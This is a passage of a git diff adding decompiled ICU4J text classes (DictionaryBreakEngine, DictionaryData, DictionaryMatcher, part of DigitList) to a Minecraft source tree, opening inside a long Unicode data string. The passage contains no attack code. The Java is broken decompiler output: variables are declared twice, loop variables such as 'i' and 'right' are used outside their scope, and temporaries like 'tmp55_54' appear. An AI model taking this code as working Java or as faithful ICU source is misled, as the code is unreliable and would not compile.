)(x)(y)(z)AGKOUWY母龟一丨丶丿乙亅二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬玄玉瓜瓦甘生用田疋疒癶白皮皿目矛矢石示禸禾穴立竹米糸缶网羊羽老而耒耳聿肉臣自至臼舌舛舟艮色艸虍虫血行衣襾見角言谷豆豕豸貝赤走足身車辛辰辵邑酉釆里金長門阜隶隹雨靑非面革韋韭音頁風飛食首香馬骨高髟鬥鬯鬲鬼魚鳥鹵鹿麥麻黃黍黑黹黽鼎鼓鼠鼻齊齒龍龜龠〒卄卅 ゙ ゚ᄀᄁᆪᄂᆬᆭᄃᄄᄅᆰᆱᆲᆳᆴᆵᄚᄆᄇᄈᄡᄉᄊᄋᄌᄍᄎᄏᄐᄑ하ᅢᅣᅤᅥᅦᅧᅨᅩᅪᅫᅬᅭᅮᅯᅰᅱᅲᅳᅴᅵᅠᄔᄕᇇᇈᇌᇎᇓᇗᇙᄜᇝᇟᄝᄞᄠᄢᄣᄧᄩᄫᄬᄭᄮᄯᄲᄶᅀᅇᅌᇱᇲᅗᅘᅙᆄᆅᆈᆑᆒᆔᆞᆡ三四上中下甲丙丁天地(ᄀ)(ᄂ)(ᄃ)(ᄅ)(ᄆ)(ᄇ)(ᄉ)(ᄋ)(ᄌ)(ᄎ)(ᄏ)(ᄐ)(ᄑ)(ᄒ)(가)\000(나)\000(다)\000(라)\000(마)\000(바)\000(사)\000(아)\000(자)\000(차)\000(카)\000(타)\000(파)\000(하)\000(주)\000(一)(二)(三)(四)(五)(六)(七)(八)(九)(十)(月)(火)(水)(木)(金)(土)(日)(株)(有)(社)(名)(特)(財)(祝)(労)(代)(呼)(学)(監)(企)(資)(協)(祭)(休)(自)(至)秘男適優印注項写正左右医宗夜1月2月3月4月5月6月7月8月9月10月11月12月アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヰヱヲアパート\000アルファ\000アンペア\000アールイニング\000インチウォンエスクード\000エーカー\000オンスオームカイリカラット\000カロリー\000ガロン\000ガンマ\000ギガ\000ギニー\000キュリー\000ギルダー\000キロキログラム\000キロメートル\000キロワット\000グラムトン\000クルゼイロ\000クローネ\000ケースコルナコーポ\000サイクル\000サンチーム\000シリング\000センチセントダース\000デシドルナノノットハイツパーセント\000パーツ\000バーレル\000ピアストル\000ピクル\000ピコビルファラッド\000フィート\000ブッシェル\000フランヘクタール\000ペソペニヒ\000ヘルツペンス\000ページ\000ベータ\000ポイント\000ボルト\000ホンポンド\000ホールホーンマイクロ\000マイルマッハマルクマンション\000ミクロン\000ミリミリバール\000メガメガトン\000ヤード\000ヤールユアンリットル\000リラルピー\000ルーブル\000レムレントゲン\0000点1点2点3点4点5点6点7点8点9点10点11点12点13点14点15点16点17点18点19点20点21点22点23点24点hPadaAUbaroVpc平成昭和大正明治株式会社\000pAnAμAmAkAKBGBcalkcal\000pFnFμFμgmgkgHzkHzMHzGHzTHzμlmldlklfmnmμmmmcmkmmm2cm2km2mm3cm3km3m∕sm∕s2\000kPaMPaGParadrad∕s\000rad∕s2\000psμsmspVnVμVmVkVMVpWnWμWmWkWMWkΩMΩa.m.\000BqcccdC∕kg\000Co.dBGyhaHPinKKKMktlnloglxmbmilmolPHp.m.\000PPMPRsrSvWb1日2日3日4日5日6日7日8日9日10日11日12日13日14日15日16日17日18日19日20日21日22日23日24日25日26日27日28日29日30日31日fffiflfflstմնմեմիվնմխעהכלםרתאלٱٻپڀٺٿٹڤڦڄڃچڇڍڌڎڈژڑکگڳڱںڻۀہھےۓڭۆۈۋۅۉېىئائەئوئۇئۆئۈئېئىیئجئحئمئيبجبحبخبمبىبيتجتحتختمتىتيثجثمثىثيجحجمحمخجخحخمسجسحسخسمصحصمضجضحضخضمطحطمظمعجعمغجغمفجفحفخفمفىفيقحقمقىقيكاكجكحكخكلكمكىكيلجلحلخلملىليمجمممىنجنحنخنمنىنيهجهمهىهييحيخيىذٰرٰىٰ ٌّ ٍّ َّ ُّ ِّ ّٰئرئزئنبربزبنترتزتنثرثزثنمانرنزننيريزينئخئهبهتهصخلهنههٰثهسهشمشهـَّـُّـِّطىطيعىعيغىغيسىسيشىشيحىجىخىصىصيضىضيشجشحشخشرسرصرضراًتجمتحجتحمتخمتمجتمحتمخحميحمىسحجسجحسجىسمحسمجسممصححصممشحمشجيشمخشممضحىضخمطمحطممطميعجمعممعمىغممغميغمىفخمقمحقمملحملحيلحىلججلخملمحمحجمحيمجحمخممجخهمجهممنحمنحىنجمنجىنمينمىيممبخيتجيتجىتخيتخىتميتمىجميجحىجمىسخىصحيشحيضحيلجيلمييجييميمميقمينحيعميكمينجحمخيلجمكممجحيحجيمجيفميبحيسخينجيصلےقلےالله\000اكبر\000محمد\000صلعم\000رسول\000عليه\000وسلم\000صلىصلى الله عليه وسلم\000جل جلاله\000—–_{}〔〕【】《》〈〉「」『』,、;:#&*-<>\\$%@ ًـًـّ ْـْءآأؤإةلآلألإ\"'[]^`|~。・ゥャ¢£¬¦¥₩│←↑→↓■○ÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÑÒÓÔÕÖÙÚÛÜÝàáâãäåçèéêëìíîïñòóôõöùúûüýÿĀāĂ㥹ĆćĈĉĊċČčĎďĒēĔĕĖėĘęĚěĜĝĞğĠġĢģĤĥĨĩĪīĬĭĮįİĴĵĶķĹĺĻļĽľŃńŅņŇňŌōŎŏŐőŔŕŖŗŘřŚśŜŝŞşŠšŢţŤťŨũŪūŬŭŮůŰűŲųŴŵŶŷŸŹźŻżŽžƠơƯưǍǎǏǐǑǒǓǔǕǖǗǘǙǚǛǜǞǟǠǡǢǣǦǧǨǩǪǫǬǭǮǯǰǴǵǸǹǺǻǼǽǾǿȀȁȂȃȄȅȆȇȈȉȊȋȌȍȎȏȐȑȒȓȔȕȖȗȘșȚțȞȟȦȧȨȩȪȫȬȭȮȯȰȱȲȳ̀́̓̈́ʹ;΅Ά·ΈΉΊΌΎΏΐΪΫάέήίΰϊϋόύώϓϔЀЁЃЇЌЍЎЙйѐёѓїќѝўѶѷӁӂӐӑӒӓӖӗӚӛӜӝӞӟӢӣӤӥӦӧӪӫӬӭӮӯӰӱӲӳӴӵӸӹآأؤإئۀۂۓऩऱऴक़ख़ग़ज़ड़ढ़फ़य़োৌড়ঢ়য়ਲ਼ਸ਼ਖ਼ਗ਼ਜ਼ਫ਼ୈୋୌଡ଼ଢ଼ஔொோௌైೀೇೈೊೋൊോൌේොෝෞགྷཌྷདྷབྷཛྷཀྵཱཱིུྲྀླཱྀྀྒྷྜྷྡྷྦྷྫྷྐྵဦḀḁḂḃḄḅḆḇḈḉḊḋḌḍḎḏḐḑḒḓḔḕḖḗḘḙḚḛḜḝḞḟḠḡḢḣḤḥḦḧḨḩḪḫḬḭḮḯḰḱḲḳḴḵḶḷḸḹḺḻḼḽḾḿṀṁṂṃṄṅṆṇṈṉṊṋṌṍṎṏṐṑṒṓṔṕṖṗṘṙṚṛṜṝṞṟṠṡṢṣṤṥṦṧṨṩṪṫṬṭṮṯṰṱṲṳṴṵṶṷṸṹṺṻṼṽṾṿẀẁẂẃẄẅẆẇẈẉẊẋẌẍẎẏẐẑẒẓẔẕẖẗẘẙẛẠạẢảẤấẦầẨẩẪẫẬậẮắẰằẲẳẴẵẶặẸẹẺẻẼẽẾếỀềỂểỄễỆệỈỉỊịỌọỎỏỐốỒồỔổỖỗỘộỚớỜờỞởỠỡỢợỤụỦủỨứỪừỬửỮữỰựỲỳỴỵỶỷỸỹἀἁἂἃἄἅἆἇἈἉἊἋἌἍἎἏἐἑἒἓἔἕἘἙἚἛἜἝἠἡἢἣἤἥἦἧἨἩἪἫἬἭἮἯἰἱἲἳἴἵἶἷἸἹἺἻἼἽἾἿὀὁὂὃὄὅὈὉὊὋὌὍὐὑὒὓὔὕὖὗὙὛὝὟὠὡὢὣὤὥὦὧὨὩὪὫὬὭὮὯὰάὲέὴήὶίὸόὺύὼώᾀᾁᾂ\000ᾃ\000ᾄ\000ᾅ\000ᾆ\000ᾇ\000ᾈᾉᾊ\000ᾋ\000ᾌ\000ᾍ\000ᾎ\000ᾏ\000ᾐᾑᾒ\000ᾓ\000ᾔ\000ᾕ\000ᾖ\000ᾗ\000ᾘᾙᾚ\000ᾛ\000ᾜ\000ᾝ\000ᾞ\000ᾟ\000ᾠᾡᾢ\000ᾣ\000ᾤ\000ᾥ\000ᾦ\000ᾧ\000ᾨᾩᾪ\000ᾫ\000ᾬ\000ᾭ\000ᾮ\000ᾯ\000ᾰᾱᾲᾳᾴᾶᾷᾸᾹᾺΆᾼι῁ῂῃῄῆῇῈΈῊΉῌ῍῎῏ῐῑῒΐῖῗῘῙῚΊ῝῞῟ῠῡῢΰῤῥῦῧῨῩῪΎῬ῭΅`ῲῳῴῶῷῸΌῺΏῼ´  ΩKÅ↚↛↮⇍⇎⇏∄∉∌∤∦≁≄≇≉≠≢≭≮≯≰≱≴≵≸≹⊀⊁⊄⊅⊈⊉⊬⊭⊮⊯⋠⋡⋢⋣⋪⋫⋬⋭〈〉がぎぐげござじずぜぞだぢづでどばぱびぴぶぷべぺぼぽゔゞガギグゲゴザジズゼゾダヂヅデドバパビピブプベペボポヴヷヸヹヺヾ豈更車賈滑串句龜龜契金喇奈懶癩羅蘿螺裸邏樂洛烙珞落酪駱亂卵欄爛蘭鸞嵐濫藍襤拉臘蠟廊朗浪狼郎來冷勞擄櫓爐盧老蘆虜路露魯鷺碌祿綠菉錄鹿論壟弄籠聾牢磊賂雷壘屢樓淚漏累縷電勒肋凜凌稜綾菱陵讀拏樂諾丹寧怒率異北磻便復不泌數索參塞省葉說殺辰沈拾若掠略亮兩凉梁糧良諒量勵呂女廬旅濾礪閭驪麗黎力曆歷轢年憐戀撚漣煉璉秊練聯輦蓮連鍊列劣咽烈裂說廉念捻殮簾獵令囹寧嶺怜玲瑩羚聆鈴零靈領例禮醴隸惡了僚寮尿料樂燎療蓼遼龍暈阮劉杻柳流溜琉留硫紐類六戮陸倫崙淪輪律慄栗率隆利吏履易李梨泥理痢罹裏裡里離匿溺吝燐璘藺隣鱗麟林淋臨立笠粒狀炙識什茶刺切度拓糖宅洞暴輻行降見廓兀嗀塚晴凞猪益礼神祥福靖精羽蘒諸逸都飯飼館鶴יִײַשׁשׂשּׁשּׂאַאָאּבּגּדּהּוּזּטּיּךּכּלּמּנּסּףּפּצּקּרּשּתּוֹבֿכֿפֿ";
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final CompactByteArray canonClass = new CompactByteArray("\000Ȁꖥ\006\000€\000\000Ā\000ƀȀʀ̀\000\000\000΀ꖥ\004ЀҀԀҀҀր؀ڀ܀ހࠀꖥ\016\000ࢀ\000ऀꖥ\017\000ঀꖥ\036\000਀઀ꖥƔ\000଀ꖥ\005\000஀\000\000\000", "\000ఀꖀ¥ᗦӜꔅ?쪥Ӝ쫊ꔋ?ԁꔄ?ࣦ???ꔑêꔠ¥ӦꖊÜꔄ?ۦ¥ל?਋఍ฏထሓ\024ᔖ\027\030ᤀ蘀ᬜᴞἠ™?ᨀ⎥攀ꔇ¥Ӧ?\000Ü?⌀⒥Ḁ????????焀ޥကऀ\000ꕧ\007ꔐ\tꕿ\tꕿ\tꔇT宥猀থ洀杧থഀꔄ殥氀癶ꔎ¥ѺꕌÜ?ᬀ???㜀膂„ꔅ¥҂\000舀ऀꔾÜꕰ\007\tꖘ\tꕖäꖦæƥӦāǦЀ䠀?ꕩ\bࢥ茀᪥脀ꔄ尀");
+  
+  DecompData() {}
+}
diff --git a/src/minecraft/com/ibm/icu/text/DictionaryBreakEngine.java b/src/minecraft/com/ibm/icu/text/DictionaryBreakEngine.java
new file mode 100644
index 0000000..beefe97
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DictionaryBreakEngine.java
@@ -0,0 +1,68 @@
+package com.ibm.icu.text;
+
+import java.text.CharacterIterator;
+import java.util.Stack;
+
+
+
+
+
+abstract class DictionaryBreakEngine
+  implements LanguageBreakEngine
+{
+  protected UnicodeSet fSet = new UnicodeSet();
+  
+
+
+  private final int fTypes;
+  
+
+
+  public DictionaryBreakEngine(int breakTypes)
+  {
+    fTypes = breakTypes;
+  }
+  
+  public boolean handles(int c, int breakType) {
+    return (breakType >= 0) && (breakType < 32) && ((1 << breakType & fTypes) != 0) && (fSet.contains(c));
+  }
+  
+
+
+  public int findBreaks(CharacterIterator text_, int startPos, int endPos, boolean reverse, int breakType, Stack<Integer> foundBreaks)
+  {
+    if ((breakType < 0) || (breakType >= 32) || ((1 << breakType & fTypes) == 0))
+    {
+      return 0;
+    }
+    
+    int result = 0;
+    UCharacterIterator text = UCharacterIterator.getInstance(text_);
+    int start = text.getIndex();
+    
+    int c = text.current();
+    int rangeEnd; int current; int rangeStart; int rangeEnd; if (reverse) {
+      boolean isDict = fSet.contains(c);
+      int current; while (((current = text.getIndex()) > startPos) && (isDict)) {
+        c = text.previous();
+        isDict = fSet.contains(c);
+      }
+      int rangeStart = current < startPos ? startPos : current + (isDict ? 0 : 1);
+      
+      rangeEnd = start + 1;
+    } else {
+      while (((current = text.getIndex()) < endPos) && (fSet.contains(c))) {
+        c = text.next();
+      }
+      rangeStart = start;
+      rangeEnd = current;
+    }
+    
+    result = divideUpDictionaryRange(text, rangeStart, rangeEnd, foundBreaks);
+    text.setIndex(current);
+    
+    return result;
+  }
+  
+  protected abstract int divideUpDictionaryRange(UCharacterIterator paramUCharacterIterator, int paramInt1, int paramInt2, Stack<Integer> paramStack);
+}
diff --git a/src/minecraft/com/ibm/icu/text/DictionaryData.java b/src/minecraft/com/ibm/icu/text/DictionaryData.java
new file mode 100644
index 0000000..407c921
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DictionaryData.java
@@ -0,0 +1,90 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.ICUBinary;
+import com.ibm.icu.impl.ICUData;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+final class DictionaryData
+{
+  public static final int TRIE_TYPE_BYTES = 0;
+  public static final int TRIE_TYPE_UCHARS = 1;
+  public static final int TRIE_TYPE_MASK = 7;
+  public static final int TRIE_HAS_VALUES = 8;
+  public static final int TRANSFORM_NONE = 0;
+  public static final int TRANSFORM_TYPE_OFFSET = 16777216;
+  public static final int TRANSFORM_TYPE_MASK = 2130706432;
+  public static final int TRANSFORM_OFFSET_MASK = 2097151;
+  public static final int IX_STRING_TRIE_OFFSET = 0;
+  public static final int IX_RESERVED1_OFFSET = 1;
+  public static final int IX_RESERVED2_OFFSET = 2;
+  public static final int IX_TOTAL_SIZE = 3;
+  public static final int IX_TRIE_TYPE = 4;
+  public static final int IX_TRANSFORM = 5;
+  public static final int IX_RESERVED6 = 6;
+  public static final int IX_RESERVED7 = 7;
+  public static final int IX_COUNT = 8;
+  private static final byte[] DATA_FORMAT_ID = { 68, 105, 99, 116 };
+  
+  private DictionaryData() {}
+  
+  public static DictionaryMatcher loadDictionaryFor(String dictType) throws IOException { ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/brkitr");
+    String dictFileName = rb.getStringWithFallback("dictionaries/" + dictType);
+    dictFileName = "data/icudt51b/brkitr/" + dictFileName;
+    InputStream is = ICUData.getStream(dictFileName);
+    ICUBinary.readHeader(is, DATA_FORMAT_ID, null);
+    DataInputStream s = new DataInputStream(is);
+    int[] indexes = new int[8];
+    
+    for (int i = 0; i < 8; i++) {
+      indexes[i] = s.readInt();
+    }
+    int offset = indexes[0];
+    Assert.assrt(offset >= 32);
+    if (offset > 32) {
+      int diff = offset - 32;
+      s.skipBytes(diff);
+    }
+    int trieType = indexes[4] & 0x7;
+    int totalSize = indexes[3] - offset;
+    DictionaryMatcher m = null;
+    if (trieType == 0) {
+      int transform = indexes[5];
+      byte[] data = new byte[totalSize];
+      
+      for (int i = 0; i < data.length; i++) {
+        data[i] = s.readByte();
+      }
+      Assert.assrt(i == totalSize);
+      m = new BytesDictionaryMatcher(data, transform);
+    } else if (trieType == 1) {
+      Assert.assrt(totalSize % 2 == 0);
+      int num = totalSize / 2;
+      char[] data = new char[totalSize / 2];
+      for (int i = 0; i < num; i++) {
+        data[i] = s.readChar();
+      }
+      m = new CharsDictionaryMatcher(new String(data));
+    } else {
+      m = null;
+    }
+    s.close();
+    is.close();
+    return m;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DictionaryMatcher.java b/src/minecraft/com/ibm/icu/text/DictionaryMatcher.java
new file mode 100644
index 0000000..c2daa1c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DictionaryMatcher.java
@@ -0,0 +1,37 @@
+package com.ibm.icu.text;
+
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class DictionaryMatcher
+{
+  DictionaryMatcher() {}
+  
+  public abstract int matches(CharacterIterator paramCharacterIterator, int paramInt1, int[] paramArrayOfInt1, int[] paramArrayOfInt2, int paramInt2, int[] paramArrayOfInt3);
+  
+  public int matches(CharacterIterator text, int maxLength, int[] lengths, int[] count, int limit)
+  {
+    return matches(text, maxLength, lengths, count, limit, null);
+  }
+  
+  public abstract int getType();
+}
diff --git a/src/minecraft/com/ibm/icu/text/DigitList.java b/src/minecraft/com/ibm/icu/text/DigitList.java
new file mode 100644
index 0000000..25fb1a3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DigitList.java
@@ -0,0 +1,868 @@
+package com.ibm.icu.text;
+
+import java.math.BigInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DigitList
+{
+  public static final int MAX_LONG_DIGITS = 19;
+  public static final int DBL_DIG = 17;
+  public int decimalAt = 0;
+  public int count = 0;
+  public byte[] digits = new byte[19];
+  private static byte[] LONG_MIN_REP;
+  
+  private final void ensureCapacity(int digitCapacity, int digitsToCopy) { if (digitCapacity > digits.length) {
+      byte[] newDigits = new byte[digitCapacity * 2];
+      System.arraycopy(digits, 0, newDigits, 0, digitsToCopy);
+      digits = newDigits;
+    }
+  }
+  
+
+
+
+  boolean isZero()
+  {
+    for (int i = 0; i < count; i++) if (digits[i] != 48) return false;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void append(int digit)
+  {
+    ensureCapacity(count + 1, count);
+    digits[(count++)] = ((byte)digit);
+  }
+  
+  public byte getDigitValue(int i) {
+    return (byte)(digits[i] - 48);
+  }
+  
+
+
+
+
+  public final double getDouble()
+  {
+    if (count == 0) return 0.0D;
+    StringBuilder temp = new StringBuilder(count);
+    temp.append('.');
+    for (int i = 0; i < count; i++) temp.append((char)digits[i]);
+    temp.append('E');
+    temp.append(Integer.toString(decimalAt));
+    return Double.valueOf(temp.toString()).doubleValue();
+  }
+  
+
+
+
+
+
+
+
+  public final long getLong()
+  {
+    if (count == 0) { return 0L;
+    }
+    
+
+
+    if (isLongMIN_VALUE()) { return Long.MIN_VALUE;
+    }
+    StringBuilder temp = new StringBuilder(count);
+    for (int i = 0; i < decimalAt; i++)
+    {
+      temp.append(i < count ? (char)digits[i] : '0');
+    }
+    return Long.parseLong(temp.toString());
+  }
+  
+
+
+
+
+
+
+
+  public BigInteger getBigInteger(boolean isPositive)
+  {
+    if (isZero()) { return BigInteger.valueOf(0L);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    int len = decimalAt > count ? decimalAt : count;
+    if (!isPositive) {
+      len++;
+    }
+    char[] text = new char[len];
+    int n = 0;
+    if (!isPositive) {
+      text[0] = '-';
+      for (int i = 0; i < count; i++) {
+        text[(i + 1)] = ((char)digits[i]);
+      }
+      n = count + 1;
+    } else {
+      for (int i = 0; i < count; i++) {
+        text[i] = ((char)digits[i]);
+      }
+      n = count;
+    }
+    for (int i = n; i < text.length; i++) {
+      text[i] = '0';
+    }
+    return new BigInteger(new String(text));
+  }
+  
+  private String getStringRep(boolean isPositive)
+  {
+    if (isZero()) return "0";
+    StringBuilder stringRep = new StringBuilder(count + 1);
+    if (!isPositive) {
+      stringRep.append('-');
+    }
+    int d = decimalAt;
+    if (d < 0) {
+      stringRep.append('.');
+      while (d < 0) {
+        stringRep.append('0');
+        d++;
+      }
+      d = -1;
+    }
+    for (int i = 0; i < count; i++) {
+      if (d == i) {
+        stringRep.append('.');
+      }
+      stringRep.append((char)digits[i]);
+    }
+    while (d-- > count) {
+      stringRep.append('0');
+    }
+    return stringRep.toString();
+  }
+  
+
+
+
+
+
+
+
+
+  public java.math.BigDecimal getBigDecimal(boolean isPositive)
+  {
+    if (isZero()) {
+      return java.math.BigDecimal.valueOf(0L);
+    }
+    
+
+
+
+    long scale = count - decimalAt;
+    if (scale > 0L) {
+      int numDigits = count;
+      if (scale > 2147483647L)
+      {
+        long numShift = scale - 2147483647L;
+        if (numShift < count) {
+          numDigits = (int)(numDigits - numShift);
+        }
+        else {
+          return new java.math.BigDecimal(0);
+        }
+      }
+      StringBuilder significantDigits = new StringBuilder(numDigits + 1);
+      if (!isPositive) {
+        significantDigits.append('-');
+      }
+      for (int i = 0; i < numDigits; i++) {
+        significantDigits.append((char)digits[i]);
+      }
+      BigInteger unscaledVal = new BigInteger(significantDigits.toString());
+      return new java.math.BigDecimal(unscaledVal, (int)scale);
+    }
+    
+
+
+    return new java.math.BigDecimal(getStringRep(isPositive));
+  }
+  
+
+
+
+
+
+
+
+
+  public com.ibm.icu.math.BigDecimal getBigDecimalICU(boolean isPositive)
+  {
+    if (isZero()) {
+      return com.ibm.icu.math.BigDecimal.valueOf(0L);
+    }
+    
+
+
+
+    long scale = count - decimalAt;
+    if (scale > 0L) {
+      int numDigits = count;
+      if (scale > 2147483647L)
+      {
+        long numShift = scale - 2147483647L;
+        if (numShift < count) {
+          numDigits = (int)(numDigits - numShift);
+        }
+        else {
+          return new com.ibm.icu.math.BigDecimal(0);
+        }
+      }
+      StringBuilder significantDigits = new StringBuilder(numDigits + 1);
+      if (!isPositive) {
+        significantDigits.append('-');
+      }
+      for (int i = 0; i < numDigits; i++) {
+        significantDigits.append((char)digits[i]);
+      }
+      BigInteger unscaledVal = new BigInteger(significantDigits.toString());
+      return new com.ibm.icu.math.BigDecimal(unscaledVal, (int)scale);
+    }
+    return new com.ibm.icu.math.BigDecimal(getStringRep(isPositive));
+  }
+  
+
+
+
+
+
+
+  boolean isIntegral()
+  {
+    while ((count > 0) && (digits[(count - 1)] == 48)) count -= 1;
+    return (count == 0) || (decimalAt >= count);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void set(double source, int maximumDigits, boolean fixedPoint)
+  {
+    if (source == 0.0D) { source = 0.0D;
+    }
+    
+    String rep = Double.toString(source);
+    
+    set(rep, 19);
+    
+    if (fixedPoint)
+    {
+
+
+
+
+      if (-decimalAt > maximumDigits) {
+        count = 0;
+        return; }
+      if (-decimalAt == maximumDigits) {
+        if (shouldRoundUp(0)) {
+          count = 1;
+          decimalAt += 1;
+          digits[0] = 49;
+        } else {
+          count = 0;
+        }
+        return;
+      }
+    }
+    
+
+
+    while ((count > 1) && (digits[(count - 1)] == 48)) {
+      count -= 1;
+    }
+    
+
+    round(maximumDigits == 0 ? -1 : fixedPoint ? maximumDigits + decimalAt : maximumDigits);
+  }
+  
+
+
+
+
+  private void set(String rep, int maxCount)
+  {
+    decimalAt = -1;
+    count = 0;
+    int exponent = 0;
+    
+
+    int leadingZerosAfterDecimal = 0;
+    boolean nonZeroDigitSeen = false;
+    
+    int i = 0;
+    if (rep.charAt(i) == '-') {
+      i++;
+    }
+    for (; i < rep.length(); i++) {
+      char c = rep.charAt(i);
+      if (c == '.') {
+        decimalAt = count;
+      } else { if ((c == 'e') || (c == 'E')) {
+          i++;
+          
+          if (rep.charAt(i) == '+') {
+            i++;
+          }
+          exponent = Integer.valueOf(rep.substring(i)).intValue();
+          break; }
+        if (count < maxCount) {
+          if (!nonZeroDigitSeen) {
+            nonZeroDigitSeen = c != '0';
+            if ((!nonZeroDigitSeen) && (decimalAt != -1)) {
+              leadingZerosAfterDecimal++;
+            }
+          }
+          
+          if (nonZeroDigitSeen) {
+            ensureCapacity(count + 1, count);
+            digits[(count++)] = ((byte)c);
+          }
+        }
+      } }
+    if (decimalAt == -1) {
+      decimalAt = count;
+    }
+    decimalAt += exponent - leadingZerosAfterDecimal;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean shouldRoundUp(int maximumDigits)
+  {
+    if (maximumDigits < count) {
+      if (digits[maximumDigits] > 53)
+        return true;
+      if (digits[maximumDigits] == 53) {
+        for (int i = maximumDigits + 1; i < count; i++) {
+          if (digits[i] != 48) {
+            return true;
+          }
+        }
+        return (maximumDigits > 0) && (digits[(maximumDigits - 1)] % 2 != 0);
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void round(int maximumDigits)
+  {
+    if ((maximumDigits >= 0) && (maximumDigits < count)) {
+      if (shouldRoundUp(maximumDigits))
+      {
+
+        for (;;)
+        {
+
+          maximumDigits--;
+          if (maximumDigits < 0)
+          {
+
+
+            digits[0] = 49;
+            decimalAt += 1;
+            maximumDigits = 0;
+          }
+          else
+          {
+            int tmp55_54 = maximumDigits; byte[] tmp55_51 = digits;tmp55_51[tmp55_54] = ((byte)(tmp55_51[tmp55_54] + 1));
+            if (digits[maximumDigits] <= 57) break;
+          }
+        }
+        maximumDigits++;
+      }
+      count = maximumDigits;
+    }
+    
+
+
+    while ((count > 1) && (digits[(count - 1)] == 48)) {
+      count -= 1;
+    }
+  }
+  
+
+
+
+  public final void set(long source)
+  {
+    set(source, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void set(long source, int maximumDigits)
+  {
+    if (source <= 0L) {
+      if (source == Long.MIN_VALUE) {
+        decimalAt = (this.count = 19);
+        System.arraycopy(LONG_MIN_REP, 0, digits, 0, count);
+      } else {
+        count = 0;
+        decimalAt = 0;
+      }
+    } else {
+      int left = 19;
+      
+      while (source > 0L) {
+        digits[(--left)] = ((byte)(int)(48L + source % 10L));
+        source /= 10L;
+      }
+      decimalAt = (19 - left);
+      
+
+
+      for (int right = 18; digits[right] == 48; right--) {}
+      count = (right - left + 1);
+      System.arraycopy(digits, left, digits, 0, count);
+    }
+    if (maximumDigits > 0) { round(maximumDigits);
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(BigInteger source, int maximumDigits)
+  {
+    String stringDigits = source.toString();
+    
+    count = (this.decimalAt = stringDigits.length());
+    
+
+    while ((count > 1) && (stringDigits.charAt(count - 1) == '0')) { count -= 1;
+    }
+    int offset = 0;
+    if (stringDigits.charAt(0) == '-') {
+      offset++;
+      count -= 1;
+      decimalAt -= 1;
+    }
+    
+    ensureCapacity(count, 0);
+    for (int i = 0; i < count; i++) {
+      digits[i] = ((byte)stringDigits.charAt(i + offset));
+    }
+    
+    if (maximumDigits > 0) { round(maximumDigits);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void setBigDecimalDigits(String stringDigits, int maximumDigits, boolean fixedPoint)
+  {
+    set(stringDigits, stringDigits.length());
+    
+
+
+
+
+
+
+
+
+    round(maximumDigits == 0 ? -1 : fixedPoint ? maximumDigits + decimalAt : maximumDigits);
+  }
+  
+
+
+
+
+
+
+
+
+
+
